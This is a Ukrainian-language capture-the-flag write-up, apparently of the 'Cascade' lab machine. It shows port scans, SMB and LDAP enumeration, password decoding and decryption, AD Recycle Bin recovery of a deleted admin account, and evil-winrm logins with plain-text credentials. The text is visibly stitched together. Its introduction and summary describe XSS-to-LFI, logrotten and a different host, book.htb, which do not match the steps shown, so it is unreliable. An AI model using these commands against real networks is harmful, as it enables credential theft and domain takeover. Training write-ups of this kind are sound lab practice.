У статті покроково описаний процес сканування портів, взаємодії з LDAP, декодування паролів та відновлення видалених об’єктів. Матеріал корисний для фахівців з інформаційної безпеки, які хочуть вдосконалити навички пентестингу та дослідження вразливостей корпоративних мереж.
У цій статті розглядається експлуатація XSS to LFI через PDF, підвищення привілеїв за допомогою logrotten, а також аналіз уразливості реєстрації, пов’язаної з усіченням полів.
Підключення до лабораторії здійснюється через VPN. Не рекомендується використовувати робочий комп’ютер або хост із важливими даними, оскільки підключення відбувається до приватної мережі, де присутні користувачі з високими навичками в галузі інформаційної безпеки.
Ця машина має IP адресу 10.10.10.182, яку додаємо в /etc/hosts.
10.10.10.176 book.htb
Спочатку виконується сканування відкритих портів. Оскільки сканування всіх портів за допомогою nmap займає багато часу, для початкового етапу використовується masscan. Сканування охоплює всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176 --rate=500
На хості відкрито багато портів. Тепер проскануємо їх за допомогою nmap, щоб відфільтрувати та вибрати потрібні.
nmap cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88
Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88
Перш за все починаємо з перерахування SMB – enum4linux.
enum4linux -a cascade.htb
Зберігаємо собі список користувачів та членство їх у групах. Подивимося, що може запропонувати LDAP.
Для роботи з LDAP використовуємо JXplorer. Підключимося та подивимося всі об’єкти.
У користувача Ryan Thompson знаходимо атрибут cascadeLegacyPwd.
Декодуємо base64 та отримуємо пароль.
Після отримання облікових даних можна перевірити доступні SMB ресурси за допомогою CrackMapExec.
cme smb cascade.htb -u "r.thompson" -p "rY4n5eva" --shares
Підключимося до ресурсу Data.
smbclient -U r.thompson //10.10.10.182/Data
Переглядаємо все, що є рекурсивно.
Тепер слід завантажити ці файли та переглянути їх вміст.
get "IT\Email Archives\Meeting_Notes_June_2018.html" get "IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log" get IT\Logs\DCs\dcdiag.log get "IT\Temp\s.smith\VNC Install.reg"
У першому файлі говорять про перенесення мережі та про те, що пароль TempAdmin збігається з паролем звичайного адміністратора.
З другого файлу відзначимо собі права користувача ArkSvc.
У третьому файлі нічого цікавого. А ось у четвертому знаходимо VNC пароль для користувача s.smith.
Пароль декодується за допомогою vncpasswd. Для цього потрібно вказати параметр -d (декодування пароля) і передати його у вигляді Hex.
vncpasswd.py -d -H 6bcf2a4b6e5aca0f
evil-winrm -i cascade.htb -u s.smith -p sT333ve2
Подивимося SMB ресурси даного користувача:
cme smb cascade.htb -u s.smith -p sT333ve2 --shares
Доступний ресурс Audit$
smbclient -U s.smith //10.10.10.182/Audit$
Завантажеємо все, що є.
Серед завантажених файлів є база даних, відкривши її можна натиснути облікові дані в таблиці LDAP.
Декомпілюємо програму за допомогою dnSpy. Знаходимо ділянку коду, де пароль зчитується з бази даних і передається у функцію розшифрування. У цій функції також передається ключ, необхідний для розшифрування пароля.
Декомпілювавши бібліотеку, дізнаємося про режим шифрування та вектор ініціалізації.
Отже, маємо такі параметри:
Тепер необхідно виконати розшифрування пароля. Для цього можна скористатися інструментом CyberChef, який дозволяє провести необхідні операції онлайн.
Отримавши пароль, можна помітити з результатів enum4linux, що цей користувач належить до груп Remote Management Users та AD Recycle Bin. Як відомо, цей користувач відігравав роль для перенесення об’єктів.
Крім того, у користувача TempAdmin був такий самий пароль, як і в адміністратора, але його обліковий запис було видалено.
Тепер перевіримо віддалені об’єкти в Active Directory Recycle Bin для можливості відновлення облікового запису або отримання подальших даних.
Get-ADObject -IncludeDeletedObjects -Filter {IsDeleted -eq $True}
Знаходимо потрібний об’єкт у Active Directory Recycle Bin. Тепер отримуємо його атрибути для подальшого аналізу та можливого відновлення облікового запису.
Get-ADObject -Filter {SamAccountName -eq 'TempAdmin'} -IncludeDeletedObjects -Properties *
Декодуємо пароль.
Підключимося до WinRM та заберемо прапор.
evil-winrm -i cascade.htb -u Administrator -p baCT3r1aN00dles
У статті розглянуто процес отримання доступу до системи через вразливості та подальше підвищення привілеїв. Показано, як експлуатувати XSS to LFI через PDF, використовувати logrotten для ескалації прав і досліджувати проблеми реєстрації з усіченням полів. Особливу увагу приділено розшифруванню паролів за допомогою CascCrypto.dll та інструментів, таких як CyberChef. Завершальним етапом стало вивчення віддалених об’єктів у Active Directory Recycle Bin для відновлення доступу.